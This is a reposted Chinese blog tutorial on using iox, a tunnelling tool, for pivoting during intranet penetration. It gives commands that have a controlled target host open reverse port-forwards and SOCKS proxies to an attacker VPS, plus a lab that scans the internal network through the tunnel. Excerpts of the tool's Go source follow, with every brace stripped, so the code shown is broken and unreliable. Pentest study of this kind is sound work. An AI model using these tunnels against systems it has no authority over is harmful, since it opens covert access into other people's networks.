内网渗透系列:内网隧道之iox
Posted 思源湖的鱼
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之iox相关的知识,希望对你有一定的参考价值。
目录
前言
本文研究端口转发 & SOCKS代理工具的一个工具,iox
github:https://github.com/EddieIvan01/iox
一、概述
1、简介
最后更新于2020年,用Go编写,功能类似于lcx/ew,优化了网络逻辑,简化了使用方法
- 支持跨平台
- 支持TCP/UDP
- 反向代理模式中使用TCP多路复用
- 有流量加密功能
2、原理
就是端口转发和SOCKS代理,与lcx和EW的原理相仿
3、用法
#加密
./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565 #目标
./iox fwd -l *8888 -l 33890 -k 656565 #攻击机
# UDP -u
./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u
./iox fwd -l *8888 -l *9999 -k 000102 -u
./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u
(1)端口转发
#监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999
#监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
#连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
(2)SOCKS代理
#在本地 0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080
#在被控机开启Socks5服务,将服务转发到公网VPS
#在VPS上转发0.0.0.0:9999到0.0.0.0:1080
#你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 #注意,这两个端口是有顺序的
#接着连接内网主机
proxychains.conf
socks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
都没有限制TCP连接
2、端口转发
(1)服务端
./iox fwd -l *2222 -l 3333 -k 123456
(2)客户端
开启apache
./iox fwd -r 127.0.0.1:80 -r *192.168.10.128:2222 -k 123456
(3)隧道建立
还可以nc、ssh等,根据端口来确定服务
(4)抓包看看
tcp三次握手建立连接,客户端向外发起连接的端口是60614和60618
心跳包
3、SOCKS代理
(1)服务端
修改/etc/proxychains.conf
socks5 0.0.0.0 1080
监听并映射端口
./iox proxy -l 2222 -l 1080
(2)客户端
./iox proxy -r 192.168.10.128:2222
(3)隧道建立
之后通过proxychains可以执行命令
如nmap扫描端口信息
proxychains4 nmap -p 1-1000 -Pn -sT 192.168.10.129
(4)抓包看看
tcp握手
nmap期间
三、探索
1、源码与分析
(1)main.go
使用方法和调用相应模式
package main
import (
"fmt"
"iox/operate"
"iox/option"
"os"
)
const VERSION = "0.4"
func Usage()
fmt.Printf(
"iox v%v\\n"+
"Usage: iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]\\n\\n"+
"Options:\\n"+
" -l [*][HOST:]PORT\\n"+
" address to listen on. `*` means encrypted socket\\n"+
" -r [*]HOST:PORT\\n"+
" remote host to connect, HOST can be IP or Domain. `*` means encrypted socket\\n"+
" -k HEX\\n"+
" hexadecimal format key, be used to generate Key and IV\\n"+
" -u\\n"+
" udp forward mode\\n"+
" -t TIMEOUT\\n"+
" set connection timeout(millisecond), default is 5000\\n"+
" -v\\n"+
" enable log output\\n"+
" -h\\n"+
" print usage then exit\\n", VERSION,
)
func main()
mode, submode, local, remote, lenc, renc, err := option.ParseCli(os.Args[1:])
if err != nil
if err == option.PrintUsage
Usage()
else
fmt.Println(err.Error())
return
// 端口转发和代理两种模式
switch mode
case "fwd":
switch submode
case option.SUBMODE_L2R:
operate.Local2Remote(local[0], remote[0], lenc[0], renc[0])
case option.SUBMODE_L2L:
operate.Local2Local(local[0], local[1], lenc[0], lenc[1])
case option.SUBMODE_R2R:
operate.Remote2Remote(remote[0], remote[1], renc[0], renc[1])
case "proxy":
switch submode
case option.SUBMODE_LP:
operate.ProxyLocal(local[0], lenc[0])
case option.SUBMODE_RP:
operate.ProxyRemote(remote[0], renc[0])
case option.SUBMODE_RPL2L:
operate.ProxyRemoteL2L(local[0], local[1], lenc[0], lenc[1])
(2)options.go
缺省值
package option
const (
TCP_BUFFER_SIZE = 0x8000
// UDP protocol's max capacity
UDP_PACKET_MAX_SIZE = 0xFFFF - 28
UDP_PACKET_CHANNEL_SIZE = 0x800
CONNECTING_RETRY_DURATION = 1500
SMUX_KEEPALIVE_INTERVAL = 20
SMUX_KEEPALIVE_TIMEOUT = 60
SMUX_FRAMESIZE = 0x8000
SMUX_RECVBUFFER = 0x400000
SMUX_STREAMBUFFER = 0x10000
)
var (
TIMEOUT = 5000
PROTOCOL = "TCP"
// enable log output
VERBOSE = false
// logic optimization, changed in v0.1.1
FORWARD_WITHOUT_DEC = false
)
(3)parsecli.go
读取输入参数
package option
import (
"encoding/hex"
"errors"
"iox/crypto"
"strconv"
)
var (
errUnrecognizedMode = errors.New("Unrecognized mode. Must choose a working mode in [fwd/proxy]")
errHexDecodeError = errors.New("KEY must be a hexadecimal string")
PrintUsage = errors.New("")
errUnrecognizedSubMode = errors.New("Malformed args. Incorrect number of `-l/-r` params")
errNoSecretKey = errors.New("Encryption enabled, must specify a KEY by `-k` param")
errNotANumber = errors.New("Timeout param must be a number")
errUDPMode = errors.New("UDP mode only support fwd mode")
)
const (
SUBMODE_L2L = iota
SUBMODE_R2R
SUBMODE_L2R
SUBMODE_LP
SUBMODE_RP
SUBMODE_RPL2L
)
// Dont need flag-lib
func ParseCli(args []string) (
mode string,
submode int,
local []string,
remote []string,
lenc []bool,
renc []bool,
err error)
if len(args) == 0
err = PrintUsage
return
mode = args[0]
switch mode
case "fwd", "proxy":
case "-h", "--help":
err = PrintUsage
return
default:
err = errUnrecognizedMode
return
args = args[1:]
ptr := 0
for
if ptr == len(args)
break
switch args[ptr]
case "-l", "--local":
l := args[ptr+1]
if l[0] == '*'
lenc = append(lenc, true)
l = l[1:]
else
lenc = append(lenc, false)
if _, err := strconv.Atoi(l); err == nil
local = append(local, "0.0.0.0:"+l) //默认监听0.0.0.0
else
if l[0] == ':'
local = append(local, "0.0.0.0"+l)
else
local = append(local, l)
ptr++
case "-r", "--remote":
r := args[ptr+1]
if r[0] == '*'
renc = append(renc, true)
r = r[1:]
else
renc = append(renc, false)
remote = append(remote, r)
ptr++
case "-u", "--udp":
PROTOCOL = "UDP"
case "-k", "--key":
var key []byte
key, err = hex.DecodeString(args[ptr+1])
if err != nil
err = errHexDecodeError
return
crypto.ExpandKey(key)
ptr++
case "-t", "--timeout":
TIMEOUT, err = strconv.Atoi(args[ptr+1])
if err != nil
err = errNotANumber
return
ptr++
case "-v", "--verbose":
VERBOSE = true
case "-h", "--help":
err = PrintUsage
return
ptr++
if mode == "fwd"
switch
case len(local) == 0 && len(remote) == 2:
submode = SUBMODE_R2R
case len(local) == 1 && len(remote) == 1:
submode = SUBMODE_L2R
case len(local) == 2 && len(remote) == 0:
submode = SUBMODE_L2L
default:
err = errUnrecognizedSubMode
return
else
switch
case len(local) == 0 && len(remote) == 1:
submode = SUBMODE_RP
case len(local) == 1 && len(remote) == 0:
submode = SUBMODE_LP
case len(local) == 2 && len(remote) == 0:
submode = SUBMODE_RPL2L
default:
err = errUnrecognizedSubMode
return
if len(lenc) != len(local) || len(renc) != len(remote)
err = errUnrecognizedSubMode
return
if crypto.SECRET_KEY == nil
for i, _ := range lenc
if lenc[i]
err = errNoSecretKey
return
for i, _ := range renc
if renc[i]
err = errNoSecretKey
return
if PROTOCOL == "UDP" && mode == "proxy"
err = errUDPMode
return
shouldFwdWithoutDec(lenc, renc)
return
func shouldFwdWithoutDec(lenc []bool, renc []bool)
if len(lenc)+len(renc) != 2
return
var result uint8
for i, _ := range lenc
if lenc[i]
result++
for i, _ := range renc
if renc[i]
result++
if result == 2
FORWARD_WITHOUT_DEC = true
(4)context.go
TCP和UDP的信息的加密写和解密读
package netio
import (
"iox/crypto"
"iox/option"
"net"
)
type Ctx interface
DecryptRead(b []byte) (int, error)
EncryptWrite(b []byte) (int, error)
net.Conn
var _ Ctx = &TCPCtx
var _ Ctx = &UDPCtx
type TCPCtx struct
net.Conn
encrypted bool
// Ensure stream cipher synchronous
encCipher *crypto.Cipher
decCipher *crypto.Cipher
func NewTCPCtx(conn net.Conn, encrypted bool) (*TCPCtx, error)
// if tc, ok := conn.(*net.TCPConn); ok
// tc.SetLinger(0)
//
encrypted = encrypted && !option.FORWARD_WITHOUT_DEC
ctx := &TCPCtx
Conn: conn,
encrypted: encrypted,
if encrypted
encCipher, decCipher, err := crypto.NewCipherPair()
if err != nil
return nil, err
ctx.encCipher = encCipher
ctx.decCipher = decCipher
return ctx, nil
func (c *TCPCtx) DecryptRead(b []byte) (int, error)
n, err := c.Read(b)
if err != nil
return n, err
if c.encrypted
c.decCipher.StreamXOR(b[:n], b[:n])
return n, err
func (c *TCPCtx) EncryptWrite(b []byte) (int, error)
if c.encrypted
c.encCipher.StreamXOR(b, b)
return c.Write(b)
type UDPCtx struct
*net.UDPConn
encrypted bool
connected bool
remoteAddr *net.UDPAddr
// sync.Mutex
func NewUDPCtx(conn *net.UDPConn, encrypted bool, connected bool) (*UDPCtx, error)
encrypted = encrypted && !option.FORWARD_WITHOUT_DEC
ctx := &UDPCtx
UDPConn: conn,
encrypted: encrypted,
connected: connected,
return ctx, nil
// Encryption for packet is different from stream
func (c *UDPCtx) DecryptRead(b []byte) (int, error)
var n int
var err error
if !c.connected
var remoteAddr *net.UDPAddr
n, remoteAddr, err = c.ReadFromUDP(b)
if err != nil
return n, err
c.remoteAddr = remoteAddr
else
n, err = c.Read(b)
if err != nil
return n, err
if c.encrypted
if len(b) < 0x18
// no nonce, skip
return 0, nil
nonce := b[n-0x18 : n]
b = b[:n-0x18]
cipher, err := crypto.NewCipher(nonce)
if err != nil
return 0, err
n -= 0x18
cipher.StreamXOR(b[:n], b[:n])
return n, err
以上是关于内网渗透系列:内网隧道之iox的主要内容,如果未能解决你的问题,请参考以下文章